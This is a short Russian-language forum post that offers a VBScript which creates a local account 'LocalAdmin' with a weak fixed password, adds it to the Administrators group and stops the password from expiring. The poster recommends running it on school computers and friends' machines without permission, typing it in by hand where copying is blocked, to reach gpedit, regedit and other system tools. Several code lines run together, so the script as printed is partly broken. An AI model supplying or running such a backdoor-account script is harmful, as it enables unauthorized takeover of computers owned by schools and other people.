:flag: Всем привет. Выкладываю старенький и простенький скриптик. Он проверен миллионы раз и 700% работает. Причем проверить может каждый . Вообщем данный скрипт создает пользователя с правами администратора. ( Никто еще не выкладывал ) VBScript.
Set objNetwork = CreateObject("WScript.Network")
strComputer = objNetwork.ComputerNameSet colAccounts = GetObject("WinNT://" & strComputer & "")
Set objUser = colAccounts.Create("user", "LocalAdmin")
objUser.SetPassword "12345"
objUser.SetInfoSet objGroup = GetObject("WinNT://" & strComputer & "/Администраторы,group")
Set objUser = GetObject("WinNT://" & strComputer & "/LocalAdmin,user")
objGroup.Add(objUser.ADsPath)Const ADS_UF_DONT_EXPIRE_PASSWD = &h10000
UserFlags = objUser.Get("UserFlags")
objPasswordExpirationFlag = UserFlags OR ADS_UF_DONT_EXPIRE_PASSWD
objUser.Put "userFlags", objPasswordExpirationFlag
objUser.SetInfo
Можно весело применять в учебных заведениях, у друзей\знакомых и т.д. Причем скажу что некоторая часть администраторов не запрещает скрипты .vbs по некоторым пичинам. Например в системе или в локальной сети должны работать другие "Служебные" скрипты и пр. ...
Если некуда\нельзя скопировать скрипт - набиваем вручную - благо он не сложный . После этого доступ ко всему: Gpedit.msc Regedit и др. системным прелестям...